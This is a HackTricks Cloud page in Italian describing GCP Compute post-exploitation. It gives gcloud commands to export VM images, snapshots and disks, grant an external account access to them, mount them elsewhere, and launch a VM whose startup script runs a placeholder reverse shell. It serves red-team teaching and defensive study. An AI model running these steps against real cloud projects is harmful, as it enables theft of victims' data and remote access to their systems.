GCP - Compute Post Exploitation
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Compute
Per ulteriori informazioni su Compute e VPC (Networking) controlla:
Esporta e ispeziona le immagini localmente
Questo permetterebbe a un attaccante di accedere ai dati contenuti all'interno di immagini già esistenti o creare nuove immagini di VM in esecuzione e accedere ai loro dati senza avere accesso alla VM in esecuzione.
È possibile esportare un'immagine VM in un bucket e poi scaricarla e montarla localmente con il comando:
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
Per eseguire questa azione, l'attaccante potrebbe aver bisogno di privilegi sul bucket di archiviazione e sicuramente privilegi su cloudbuild, poiché è il servizio che verrà richiesto di eseguire l'esportazione.
Inoltre, affinché questo funzioni, il SA di codebuild e il SA di compute necessitano di permessi privilegiati.
Il SA di cloudbuild <project-id>@cloudbuild.gserviceaccount.com
ha bisogno di:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
E il SA <project-id>-compute@developer.gserviceaccount.com
ha bisogno di:
- roles/compute.storageAdmin
- roles/storage.objectAdmin
Esporta e ispeziona snapshot e dischi localmente
Non è possibile esportare direttamente snapshot e dischi, ma è possibile trasformare uno snapshot in un disco, un disco in un'immagine e seguendo la sezione precedente, esportare quell'immagine per ispezionarla localmente.
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
Ispezionare un'immagine creando una VM
Con l'obiettivo di accedere ai dati memorizzati in un'immagine o all'interno di una VM in esecuzione da cui un attaccante ha creato un'immagine, è possibile concedere a un account esterno l'accesso all'immagine:
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
e poi crea una nuova VM da esso:
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
Se non puoi dare accesso al tuo account esterno tramite l'immagine, puoi avviare una VM utilizzando quell'immagine nel progetto della vittima e far eseguire alla metadata una reverse shell per accedere all'immagine aggiungendo il parametro:
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
Ispezionare uno Snapshot/Disk collegandolo a una VM
Con l'obiettivo di accedere ai dati memorizzati in un disco o in uno snapshot, potresti trasformare lo snapshot in un disco, un disco in un'immagine e seguire i passaggi precedenti.
Oppure potresti concedere a un account esterno l'accesso al disco (se il punto di partenza è uno snapshot, concedi l'accesso allo snapshot o crea un disco da esso):
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
Collega il disco a un'istanza:
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
Montare il disco all'interno della VM:
- SSH nella VM:
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identificare il Disco: Una volta dentro la VM, identifica il nuovo disco elencando i dispositivi disco. Tipicamente, puoi trovarlo come
/dev/sdb
,/dev/sdc
, ecc. - Formattare e Montare il Disco (se è un disco nuovo o raw):
- Crea un punto di montaggio:
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Monta il disco:
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Se non puoi dare accesso a un progetto esterno allo snapshot o al disco, potresti dover eseguire queste azioni all'interno di un'istanza nello stesso progetto dello snapshot/disk.
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.